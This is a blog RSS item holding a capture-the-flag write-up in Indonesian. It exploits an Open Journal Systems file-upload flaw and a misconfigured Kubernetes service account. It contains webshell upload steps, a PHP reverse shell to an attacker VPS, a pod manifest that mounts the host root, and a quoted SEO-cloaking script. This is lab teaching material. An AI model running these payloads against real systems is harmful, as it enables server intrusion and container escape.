<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>red team Arsip - Bhineka blog</title>
	<atom:link href="https://blog.bhineka-tech.org/category/red-team/feed/" rel="self" type="application/rss+xml" />
	<link>https://blog.bhineka-tech.org/category/red-team/</link>
	<description></description>
	<lastBuildDate>Fri, 29 Aug 2025 17:27:23 +0000</lastBuildDate>
	<language>id</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.8.2</generator>

<image>
	<url>https://blog.bhineka-tech.org/wp-content/uploads/2024/10/logo-bintek-min.jpg</url>
	<title>red team Arsip - Bhineka blog</title>
	<link>https://blog.bhineka-tech.org/category/red-team/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>WriteUp Hacking Challenge &#8211; Bhineka Tech</title>
		<link>https://blog.bhineka-tech.org/2025/07/29/writeup-hacking-challenge-bhineka-tech/</link>
					<comments>https://blog.bhineka-tech.org/2025/07/29/writeup-hacking-challenge-bhineka-tech/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Tue, 29 Jul 2025 05:55:07 +0000</pubDate>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[pentesting]]></category>
		<category><![CDATA[red team]]></category>
		<category><![CDATA[web exploitation]]></category>
		<category><![CDATA[web pentesting]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=557</guid>

					<description><![CDATA[<p>Ya sekian beberapa hari ini akhirnya ada waktu untuk membuat artikel jadi disini aku akan memberikan detail bagaimana menyelesaikan challenge yang sebelumnya aku share pada group Bhineka Tech, dengan deskripsi sebagai berikut Jadi kita diminta untuk mendapatkan flag user dan root yang berada pada directory yang sudah ditentukan diantaranya yaitu /root dan /var/www/html, nah uniknya [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2025/07/29/writeup-hacking-challenge-bhineka-tech/">WriteUp Hacking Challenge &#8211; Bhineka Tech</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Ya sekian beberapa hari ini akhirnya ada waktu untuk membuat artikel jadi disini aku akan memberikan detail bagaimana menyelesaikan challenge yang sebelumnya aku share pada group Bhineka Tech, dengan deskripsi sebagai berikut</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-25dbc8fd7bd55d167cb2c9a937337ec3"><code>Pentesting &amp; Hacking Challenge

host: http://157.230.255.81/

Description:
Rafli seorang freelance web developer mendapatkan client di salah satu universitas swasta yang dimana client tersebut meminta untuk dibuatkan website publikasi jurnal ilmiah, dengan deadline 2 minggu. Rafli pun bersedia, dan kurang dari waktu yang ditentukan, Rafli menyelesaikan websitenya dan langsung dilakukan deployment oleh pihak kampus. Selang beberapa minggu terdapat anomaly log dan ditemukan file berupa sitemap.xml, google1337.html pada document_root yang terindikasi digunakan untuk blackhat seo perjudian.

Task:
Sebagai seorang security engineer, bantu Rafli mengidentifikasi kerentanan pada aplikasi yang dibuatnya dan lakukan evaluasi sampai sejauh mana attacker mendapatkan akses pada server.

Format flag: bhitech{}
Level: Medium / up to you

Note: ada 2 flag, yaitu user dan root. root flag berada pada directory /root sedangkan user flag berada pada /var/www/html dan server direset tiap 1 jam 30 menit sekali 

Clue ? Kubernetes breakout</code></pre>



<p>Jadi kita diminta untuk mendapatkan flag user dan root yang berada pada directory yang sudah ditentukan diantaranya yaitu /root dan /var/www/html, nah uniknya pada deskripsi juga terdapat tambahan clue yakni Kubernetes Breakout, dan sepertinya terkait dengan misconfiguration dan escape pada pods di kubernetes jadi mari kita bedah lebih lanjut</p>



<p>Jika dibuka via browser, disuguhkan website yang menggunakan CMS OJS(Open Journal System)</p>



<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="1024" height="534" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-1024x534.png" alt="" class="wp-image-558" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-1024x534.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-300x156.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-768x400.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-1536x800.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image.png 1894w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>OJS ini merupakan suatu platform / CMS untuk publikasi jurnal ilmiah dan CMS ini open source, namun pada OJS sendiri sudah lama terdapat banyak security issue yang beredar mulai dari versi 2.x.x hingga 3.x.x dan banyak dimanfaatkan oleh script kiddies maupun hacker pemula untuk melakukan akses ilegal karena kemudahan exploitnya </p>



<p>Contohnya seperti di github issue ini <a href="https://github.com/pkp/pkp-lib/issues/7786 ">https://github.com/pkp/pkp-lib/issues/7786 </a>lalu di cxsecurity mengenai PoC-nya <a href="https://cxsecurity.com/issue/WLB-2021100133">https://cxsecurity.com/issue/WLB-2021100133</a> dan juga ada artikel yang menyebutkan jika OJS ini mengidap suatu zeroday <a href="https://openjournaltheme.com/urgent-critical-vulnerabilities-in-3-3-0-18-upgrade-your-ojs-now/">https://openjournaltheme.com/urgent-critical-vulnerabilities-in-3-3-0-18-upgrade-your-ojs-now/</a></p>



<p>Jika kita inspect element dan membuka tab network, akan banyak file yang diload dan terdapat indikasi versi OJS yang dipakai </p>



<figure class="wp-block-image size-full"><img decoding="async" width="981" height="555" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-2.png" alt="" class="wp-image-560" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-2.png 981w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-2-300x170.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-2-768x434.png 768w" sizes="(max-width: 981px) 100vw, 981px" /></figure>



<p>Pada kasus challenge ini, terlihat OJS memakai version 3.2.1.1 yang kita bisa langsung melihat source code pada githubnya <a href="https://github.com/pkp/ojs/tree/3_2_1-1">https://github.com/pkp/ojs/tree/3_2_1-1</a></p>



<p>Dan sebenarnya untuk melakukan exploitnya cukup mudah karena banyaknya PoC yang disediakan. Karena kerentanannya terkait dengan Arbitrary File Upload, hal paling tricky disini adalah mencari path webshell setelah diupload.</p>



<p>PoC ?</p>



<ul class="wp-block-list">
<li>Register pada http://157.230.255.81/index.php/bhitech/user/register</li>



<li>Setelah register, kemudian pilih <strong>make a new submission</strong></li>



<li>Centang semua pada step 1</li>



<li>Kemudian step 2, disini akan ada modal untuk melakukan upload file</li>



<li>Upload file webshell / malicious dengan extension .phtml</li>
</ul>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="535" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-3-1024x535.png" alt="" class="wp-image-561" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-3-1024x535.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-3-300x157.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-3-768x401.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-3.png 1430w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini sebenarnya file telah berhasil di upload pada server, dan seperti yang dikatakan sebelumnya jika kita perlu mencari path aktual dari file yang diupload. jika kita mengclick file yang terupload maka nama akan berubah menjadi 1-Article Text-1-1-2-20250727.phtml dan hal ini bisa menjadi acuan petunjuk tambahan.</p>



<p>Sedikit info, path file pada OJS sendiri bisa di custom yakni saat instalasi, admin bisa melakukan custom folder untuk file journal seperti /files, /data, /ojs ataupun lainnya dan bahkan untuk lebih securenya, secara default path file bisa diluar dari document_root pada website, misalkan webroot berada pada /var/www/html/, file journal bisa diletakkan di /var/www/files/ dan dalam hal ini yang tidak memungkinkan dilakukan exploitation.</p>



<p>Setelah itu kita bisa melakukan enumeration directory, dalam hal ini aku menggunakan dirsearch</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="608" height="350" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-4.png" alt="" class="wp-image-562" style="width:840px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-4.png 608w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-4-300x173.png 300w" sizes="auto, (max-width: 608px) 100vw, 608px" /></figure>



<p>Disini ditemukannya directory /files, dan ternyata directory listingnya kebuka </p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="556" height="523" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-5.png" alt="" class="wp-image-563" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-5.png 556w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-5-300x282.png 300w" sizes="auto, (max-width: 556px) 100vw, 556px" /></figure>



<p>Terdapat suatu file catatan.txt disini, dan jika kita buka </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-84752b9e80570c34142b787e7c247aa8"><code>Di sebuah rumah di perbatasan kabupaten magetan, tinggallah seorang yang bernama Rafli. Rafli ini sehari sehari bekerja freelance sebagai web developer yang suatu ketika ada client dari universitas swasta, sebut saja universitas siber yang meminta untuk membuat platform publikasi jurnal ilmiah. Akhirnya setelah berbincang bincang via telpon mereka sepakat dengan deadline 2 minggu untuk aplikasinya ini dapat digunakan

tak berfikir lama Rafli langsung mengunduh sebuah CMS yang dinamakan OJS(open journal system). Rafli sempat mengunjungi github https://github.com/pkp/ojs dengan melihat sekilas source codenya karena sifatnya yang open source dan Rafli yakin dengan memakai OJS ini dengan memodifikasi-nya sedikit agar sesuai yang diminta client-nya

Rafli tak peduli dengan banyak security issue yang terdampak pada OJS ini, yang difikirkan Rafli yang penting sesuai dan memangkas waktu agar deadline 2 minggu ini terselesaikan dengan baik. Yang akhirnya pilihan Rafli sudah bulat dimana setelah itu dia meminta suatu VPS kepada pihak client agar aplikasinya dapat di deploy

Rafli mengerjakan project ini dengan kurang dari 2 minggu dan Rafli juga tidak sempat membaca dokumentasi best practice dari OJS terutama masalah security, Rafli juga tidak membaca issue github seseorang yang terkena hacking pada website OJS-nya https://github.com/pkp/pkp-lib/issues/7786 terlebih Rafli juga tidak riset terkait seseorang menggunakan exploit zeroday pada OJS ini https://openjournaltheme.com/urgent-critical-vulnerabilities-in-3-3-0-18-upgrade-your-ojs-now/

Yang akhirnya setelah semuanya beres, sesuai kesepakatan dengan deadline 2 minggu maka mereka sepakat mempublikasikan ke internet dan kedua belah pihak sangat senang dimana Rafli mendapatkan uang dari project ini sementara pihak kampus mempunyai platform journal-nya sendiri. Hingga selang beberapa waktu, ternyata benar saja traffic mulai melonjak yang mengakibatkan website hampir down, dengan pendekatan yang pas, akhirnya pihak kampus melalui sysadminnya mengkonfigurasi load balancing dan auto scalling pada aplikasinya menggunakan kubernetes dan dimana node worker pada OJS-nya dibuat menjadi beberapa POD seperti apache dan mysql dipisah dalam pod yang berbeda

Hari demi hari platform OJS-nya berjalan lancar sampai akhirnya mereka menyadari ada anomaly log yang berbeda dan ada yang melakukan takeover kepemilikan pada websitenya melalui google search console, sontak membuat sysadmin terkejut karena tidak ada perubahan yang signifikan pada websitenya sampai menyadari ada perubahan datetime pada index.php dan tambahan file pada directory webrootnya seperti sitemap.xml, google1337.html dan index.txt, indexx.php. dan setelah itu sysadmin mecoba membuka index.php dengan isi

```
&lt;?php
$googleBots = &#91;
    'Googlebot',
    'Googlebot-Mobile',
    'Googlebot-Image',
    'Mediapartners-Google', 
    'AdsBot-Google',
    'Feedfetcher-Google'
];


$userAgent = $_SERVER&#91;'HTTP_USER_AGENT'] ?? '';

$isGoogleBot = false;
foreach ($googleBots as $bot) {
    if (stripos($userAgent, $bot) !== false) {
        $isGoogleBot = true;
        break;
    }
}

if ($isGoogleBot) {
    include 'index.txt';
} else {
    include 'indexx.php';
}
?&gt;
```
Dan setelah menyadari script tersebut merupakan cloacking yang bertujuan untuk memanipulasi crawler dan googlebot dengan menampilkan konten yang berbeda dan seringkali digunakan di kalangan blackhat SEO. Dan benar saja website muncul rank 1 di mesin pencari google dengan keyword "Toto Gacor"

sysadmin menghubungi Rafli untuk memperoleh informasi dari aplikasi yang dibuatnya dan menjelaskan jika website diretas oleh hacker judol yang berafiliasi dengan para bandar di kamboja, karena ada indikasi kuat IP dari log yang di analysis tersebut berada di kota poipet.

Disini sysadmin meghubungi Rafli bukan semata mata hanya karena aplikasi OJS-nya saja, tapi karena server tersebut sudah terintegrasi dengan kubernetes dan takutnya para hacker ini melakukan escape dan breakout pada containernya sehingga dapat mengakses host utama

setelah dihubungi pihak universitas, Rafli juga terkejut dan menghubungi temannya yang bekerja sebagai red teamer dan paham terkait security, sebut saja Rimba. Disini Rimba menjelaskan kerentanan di OJS yang cukup umum dan sangat mudah dilakukan exploitation

Rimba menjelaskan dengan sangat detail dan memberi tahu Rafli jika kerentanan terletak pada file /lib/pkp/classes/file/FileManager.inc.php dengan code berikut :

```
function parseFileExtension($fileName) {
                $fileParts = explode('.', $fileName);
                if (is_array($fileParts) &amp;&amp; count($fileParts) &gt; 1) {
                        $fileExtension = $fileParts&#91;count($fileParts) - 1];
                }

                // FIXME Check for evil
                if (!isset($fileExtension) || stristr($fileExtension, 'php') || strlen($fileExtension) &gt; 6 || !preg_match('/^\w+$/', $fileExtension)) {
                        $fileExtension = 'txt';
                }

                // consider .tar.gz extension
                if (strtolower(substr($fileName, -7)) == '.tar.gz') {
                        $fileExtension = substr($fileName, -6);
                }

                return $fileExtension;
        }
```
dan juga pada ./lib/pkp/classes/context/LibraryFile.inc.php

```
function getFilePath() { 
	$contextId = $this-&gt;getContextId(); 
	return Config::getVar('files', 'files_dir') . '/contexts/' . $contextId . '/library/' . $this-&gt;getServerFileName(); 

}
function &amp;getTypeSuffixMap() { 
	static $suffix = array( 
	    LIBRARY_FILE_TYPE_MARKETING =&gt; 'MAR', 
	    LIBRARY_FILE_TYPE_PERMISSION =&gt; 'PER', 
		LIBRARY_FILE_TYPE_REPORT =&gt; 'REP', 
		LIBRARY_FILE_TYPE_OTHER =&gt; 'OTH' 
	); 
	return $suffix; 
} 
$fileName = $baseName . '-' . $suffix . '.' . $ext;
```
Yang intinya ada semacam kerentanan yang dapat mengarah ke RCE dan dapat digunakan takeover suatu server, dan setelah dijelaskan baru Rafli paham kenapa bisa terjadi dan dengan bantuan Rimba, akhirnya kerentanan dapat dilakukan patching dan mitigasi serta membuat file OJS tidak dapat diakses dari document rootnya.

~xpl0dec </code></pre>



<p>Didalam catatan itu terdapat mengenai perbincangan dari Rafli dan Sysadmin kampus mengenai OJS-nya diretas yang digunakan untuk promosi judi online dan juga tedapat deskripsi singkat mengenai kerentanan beserta source codenya.</p>



<p>Umumnya ada beberapa path static atau pola directory file OJS yang terupload yaitu untuk version 2.x.x /journals/[stageId]/articles/[submissionId]/submission/original/[namafilenya] sementara untuk version 3.x.x /journals/[stageId]/articles/[submissionId]/submission/[namafilenya]  </p>



<p>apa itu journalid dan articleid ? jadi setelah file diupload kita bisa klik file untuk download dan akan request ke endpoint berikut <br>/index.php/bhitech/$$$call$$$/api/file/file-api/download-file?fileId=1&amp;revision=1&amp;submissionId=1&amp;stageId=1, ada beberapa hal yang diperhatikan disini yang dimana stageId=1 merupakan path id pada stage sementara submissionId terkait path setelah artice dalam hal ini 1 dan jika kita kombinasikan menjadi path seperti ini /files/journals/1/articles/1/submission/[namafile]</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="363" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-6-1024x363.png" alt="" class="wp-image-564" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-6-1024x363.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-6-300x106.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-6-768x272.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-6.png 1329w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Masih notfound, dan sepertinya ada yang salah jadi mari kita breakdown dan analysis dari source codenya, dan disini bisa ditemukan fungsi getClientFileName() pada file https://github.com/pkp/pkp-lib/blob/6c34557418261be3ca50b797acb144f9332ca239/classes/submission/SubmissionFile.inc.php#L297</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="883" height="488" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-7.png" alt="" class="wp-image-565" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-7.png 883w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-7-300x166.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-7-768x424.png 768w" sizes="auto, (max-width: 883px) 100vw, 883px" /></figure>



<p>disini sebenarnya yang diubah hanya pada bagian $genre-&gt;getLocalizedName() dan jika kita gulir kebawah juga ditemukan fungsi _generateFileName()</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="818" height="411" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-8.png" alt="" class="wp-image-566" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-8.png 818w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-8-300x151.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-8-768x386.png 768w" sizes="auto, (max-width: 818px) 100vw, 818px" /></figure>



<p>Kita bisa menebak jika, nama file seperti ini 1-Article Text-1-1-2-20250729.phtml maka pada bagian Artice Text akan diubah ke bentuk integer 1-[getGenreId()]-1-1-2-20250729.phtml</p>



<p>fungsi getGenreId() dan variable $genre memanggil class GenreDAO dari file https://github.com/pkp/pkp-lib/blob/main/classes/submission/GenreDAO.php#L4</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="803" height="438" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-9.png" alt="" class="wp-image-567" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-9.png 803w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-9-300x164.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-9-768x419.png 768w" sizes="auto, (max-width: 803px) 100vw, 803px" /></figure>



<p>yang dimana merupakan query database yang melakukan get data pada tables genres, dan kemudian melakukan return pada fungsi _fromRow()</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="928" height="541" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-10.png" alt="" class="wp-image-570" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-10.png 928w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-10-300x175.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-10-768x448.png 768w" sizes="auto, (max-width: 928px) 100vw, 928px" /></figure>



<p>_fromRow mengambil tables <code>genre_settings</code> pada database yang dimana isi dari genre_settings merupakan list dari topik jurnal yang akan dipublikasikan </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="274" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-11-1024x274.png" alt="" class="wp-image-571" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-11-1024x274.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-11-300x80.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-11-768x205.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-11-1536x411.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-11.png 1661w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>yang dimana disini, bisa kita asumsikan jika result dari genreId() merupakan data yang diambil dari column <code>genre_id</code> pada tables genres dan genre_setting dan bisa disimpulkan jika list jurnal seperti Aritcle Text sampai other akan dikonversikan sesuai dari genre_id nya seperti :</p>



<ul class="wp-block-list">
<li>Article Text : 1</li>



<li>Research Instrument : 2</li>



<li>Research Materials : 3</li>



<li>Research Results : 4</li>



<li>Transcripts : 5</li>
</ul>



<p>hingga seterusnya sampai bagian other di genre_id 12, yang berarti jika nama file 1-Article Text-1-1-2-20250729.phtml akan menjadi 1-1-1-1-2-20250729.phtml</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="426" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-12-1024x426.png" alt="" class="wp-image-572" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-12-1024x426.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-12-300x125.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-12-768x320.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-12-1536x639.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-12.png 1716w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Dan path valid yang menampilkan informasi php, dan lanjut kita coba untuk melakukan reverse shell </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-239e37e590c1870932611edd7139ec1e"><code>&lt;?php

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("file", "/dev/null", "a") // stderr is a file to write to
);

$process = proc_open("/bin/bash -c 'bash -i >&amp; /dev/tcp/&#91;ip_vps]/&#91;portnya] 0>&amp;1'", $descriptorspec, $pipes);

if(is_resource($process)) {
    echo "&lt;pre>" . stream_get_contents($pipes&#91;1]);
    fclose($pipes&#91;1]);
}
?></code></pre>



<p>Menggunakan code php dengan fungsi proc_open kita bisa menjalankan bash command yang akan melakukan reverse shell ke VPS yang kita tentukan.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="693" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-13-1024x693.png" alt="" class="wp-image-573" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-13-1024x693.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-13-300x203.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-13-768x520.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-13.png 1252w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini kita berhasil melakukan gaining access dan mendapatkan user flag </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-5a8a5fb6f77037dd4c29a6bb0ec4b264"><code>bhitech{M4S1h_ScRipT_k1ddiEs}

untuk root flagnya, gunakan otak dan kemampuan hackingmu.
sedikit clue mungkin membantu https://kubernetes.io/docs/reference/access-authn-authz/authentication/</code></pre>



<p>Pada file flag juga disertakan clue yang terkait dengan kubernetes serta diberikan refrensi link dokumentasi tentang access authentication pada kubernetes itu sendiri. Jadi kita bahas sedikit tentang kubernetes agar kita lebih paham. Kubernetes disebut sebagai Container Orchestration yang berfungsi untuk melakukan deploy, scaling dan management container secara otomatis, dan biasanya kubernetes itu digunakan pada aplikasi yang berbasis microservice maupun aplikasi dengan skala yang besar.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="669" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/Kubernetes-cluster-1024x669.png" alt="" class="wp-image-575" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/Kubernetes-cluster-1024x669.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/Kubernetes-cluster-300x196.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/Kubernetes-cluster-768x502.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/Kubernetes-cluster-1536x1003.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/Kubernetes-cluster.png 1600w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Arsitektur kubernetes bisa dilihat pada gambar diatas yaitu terdapat beberapa component penting yang perlu kita ketahui, pertama ada cluster yang merupakan suatu wadah besar yang menampung Node, Control Plane dan utilitas lain dari kubernetes. sedangkan ada Control Plane yang digunakan untuk mengelola node melalui API server dan controller manager atau bisa dibilang Control Plane/Master Node ini server yang mengontrol semua worker node sementara Worker Node itu client-nya yang berisi pod dan container yang dilakukan otomatisasi dan dikontrol oleh master node. Mungkin teman teman bisa langsung cek dokumentasi lebih lanjut untuk lebih memahami kubernetes ini  </p>



<p>Kembali pada topik utama, jika kita baca baca pada refrensi diatas pada bagian service account, dikatakan seperti ini</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="874" height="201" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-14.png" alt="" class="wp-image-574" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-14.png 874w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-14-300x69.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-14-768x177.png 768w" sizes="auto, (max-width: 874px) 100vw, 874px" /></figure>



<p>Disini menarik karena service account tokens pada kubernetes disimpan didalam secret API object yang mana user manapun dengan kemampuan write bisa melakukan request token dan user yang mempunyai izin baca bisa melakukan authentikasi menjadi service account dan disana diperingatkan juga jika harus hati hati saat memberikan permission pada service account.</p>



<p>Jadi jika service account itu diberikan kemampuan yang mumpuni misalkan untuk membuat pods baru dan eksekusi pods maka potensi melakukan breakout/escape pada kubernetes sangat mungkin dikarenakan kita bisa melakukan mounting directory pada host utama.</p>



<p>Contoh rules yaml-nya seperti berikut :</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-e65dacb59b848226dc2b6c14a321f2f6"><code>rules:
- apiGroups:
  - ""
  resources: &#91;"pods", "pods/exec"]
  verbs: &#91;"get", "list", "create", "update", "delete", "exec", "watch", "patch", "edit"]</code></pre>



<p>Dimana disini verbs atau izin, bisa melakukan apapun yang dimana hal ini bisa disalahgunakan dengan membuat pods baru. Jadi kita coba melakukan practicalnya, pertama kita perlu tools untuk berkomunikasi dengan API server di control plane menggunakan kubectl</p>



<p><a href="https://kubernetes.io/docs/tasks/tools">https://kubernetes.io/docs/tasks/tools</a></p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-50a674d6fd413167569cbab00c26f6ed"><code>cd /tmp; curl -LO "https://dl.k8s.io/release/<strong>$(</strong>curl -L -s https://dl.k8s.io/release/stable.txt<strong>)</strong>/bin/linux/amd64/kubectl"
</code></pre>



<p>Untuk melakukan identifikasi jika yang kita compromised itu merupakan pods pada kubernetes, kita bisa membaca access token pada /var/run/secrets/kubernetes.io/serviceaccount/token dan jika outputnya merupakan string acak berarti kita berada pada container yang di isolasi.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="160" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-15-1024x160.png" alt="" class="wp-image-576" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-15-1024x160.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-15-300x47.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-15-768x120.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-15.png 1224w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Kemudian kita cek permission dengan command <em>kubectl auth can-i &#8211;list</em></p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="524" height="129" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-16.png" alt="" class="wp-image-577" style="width:795px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-16.png 524w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-16-300x74.png 300w" sizes="auto, (max-width: 524px) 100vw, 524px" /></figure>



<p>Terlihat tanda * artinya disini kita bisa melakukan apapun pada pods dalam namespace yang kita gunakan saat ini, jadi disini kita mempunyai high privilege karena misconfiguration dari service account. Idenya kita akan membuat pods baru yang melakukan mounting pada host utama, jadi mari kita buat PoC yaml-nya</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-871f0b835b64a91eaf3d3a9239e93ff0"><code>apiVersion: v1
kind: Pod
metadata:
  name: privesc
spec:
  containers:
    - name: privesc
      image: busybox:1.28
      command: &#91;'sh', '-c', 'echo "Privilege Escalation Payload" &amp;&amp; tail -f /dev/null']
      volumeMounts:
        - name: mounting
          mountPath: /tmp/main-host/
  volumes:
    - name: mounting
      hostPath:
        path: /</code></pre>



<p>yaml diatas merupakan script kubernetes untuk membuat pods baru dan dalam hal ini kita menamakan pods tersebut dengan &#8220;privesc&#8221; dan juga kita akan membuild container dari image busybox karena disini aku memilih busybox karena ukurannya yang relatif kecil, kemudian setelah itu kita melakukan volumeMount yang akan melakukan mounting host utama ke directory /tmp/main-host/ didalam container.</p>



